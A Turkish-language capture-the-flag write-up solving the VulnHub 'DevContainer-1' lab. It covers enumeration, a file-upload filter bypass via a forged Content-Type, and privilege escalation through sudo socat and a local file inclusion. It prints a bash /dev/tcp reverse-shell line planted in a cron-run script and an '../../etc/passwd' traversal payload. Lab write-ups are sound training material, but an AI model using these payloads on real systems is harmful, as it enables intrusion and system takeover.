2 minutes
VULN DevContainer-1 Write Up
“Merhaba, Bu yazımda sizlere VULNHUB ‘da yer alan medium seviye DevContainer-1 adlı makinanın çözümünden bahsedeceğim. Keyifli okumalar…”
1. Keşif Aşaması
netdiscover -i eth1
Ip adresi tespit edildikten sonra nmap ile makinenin açık portları ve portlarda çalışan servisleri tespit edilir.
Tarayıcı ile web servisine istek atılır. Açılan sayfa ve kaynak kodları incelendiğinde olağan dışı bir bilgiye görülmemektedir.
Gobuster aracı ile Web dizin taraması gerçekleştirilir.
gobuster dir -u http://192.168.56.104/ -w /usr/share/wordlists/dirb/big.txt
Upload dizini dikkat çekmektedir. Tarayıcıdan istek atıldığında upload sayfası karşılamaktadır. İzin verilen dosya uzantıları ekranda yazılmaktadır.
Burpsuite uygulaması açılır ve normal bir resim dosyası yüklendiğinde giden istek incelenir.
Php uzantılı dosya yüklendiğinde giden isteğin Content-type değeri image/gif şeklinde değiştirilerek deneme yapılır. Yükleme işlemi başarılı bir şekilde gerçekleşmektedir.
2. Erişim Sağlanması
İlgili port dinlenmeye alınarak upload ekranında yer alan index yazısına tıklanarak yüklenen dosya çağırılır ve reverse shell alınır.
/etc/passwd dosyası görüntülenerek sistemdeki kullanılar tespit edilir. Login olabilecek kullanıcı gözükmemektedir. Bu durumda bir container içerisinde olduğumuz tespit edilir.
Web uygulamasının çalıştığı /var/www/html dizine geçilir.
Maintenance-Web-Docker dizini dikkat çekmektedir. Dizine girilerek içerisinde yer alan alan dosyalar incelenir.
cat maintenance.sh
#!/bin/bash
#Version 1.0
#This script monitors the uploaded files. It is a reverse shell monitoring measure.
#path= /home/richard/web/webapp/upload/files/
/home/richard/web/Maintenance-Web-Docker/list.sh
cat list.sh
#!/bin/bash
date >> /home/richard/web/Maintenance-Web-Docker/out.txt
ls /home/richard/web/upload/files/ | wc -l >> /home/richard/web/Maintenance-Web-Docker/out.txt
Dockerda yer alan www dizini ile /home/richard/web/ dizini birbirine volume oluşturularak bağlanmıştır. List.sh dosyası shell alınacak şekilde düzenir ve çalıştırılır.
echo "bash -i &>/dev/tcp/192.168.56.105/7777 0>&1" > list.sh
7777 numaralı port dinlenir ve bağlantı sağlanır.
User.txt dosyası okunarak ilk aşama tamamlanır.
3. Yetki Yükseltme
Sudo -l komutu ile yetkiler kontrol edilir.
Parola gerektirmeden root yetkisi ile socat uygulamasının çalıştırılabildiği görülmektedir. TCP-LISTEN 8080 ile 8080 portuna gelen bağlantılar dinlenir, fork ile gelen bağlantılar 90 portuna yönlendirilir.
sudo -u root /home/richard/HackTools/socat TCP-LISTEN\:8080\,fork TCP\:127.0.0.1\:90
Komut çalıştırıldığında 8080 portu gelen bağlantılar için dinlenmeye başlanır. Tarayıcıdan http://makianaipsi:8080 istek atıldığında web sayfası açılır.
Sayfada yer alan linklere tıklandığında lfi açığı olabileceği tespit edilir.
view=../../../../../../etc/passwd parametre girilerek lfi açığı varlığı tespit edilir. Görüldüğü gibi include işlemi başarılı gerçekleşmiş ve passwd dosyası okunmuştur.
İlk etapta upload ettiğimiz shell dosyası ../upload/files klasörü altındadır. O dosya tekrar çağırılarak bağlantı alınır.
/root dizinine geçilir ve dizin listenir ve çözüm tamamlanır.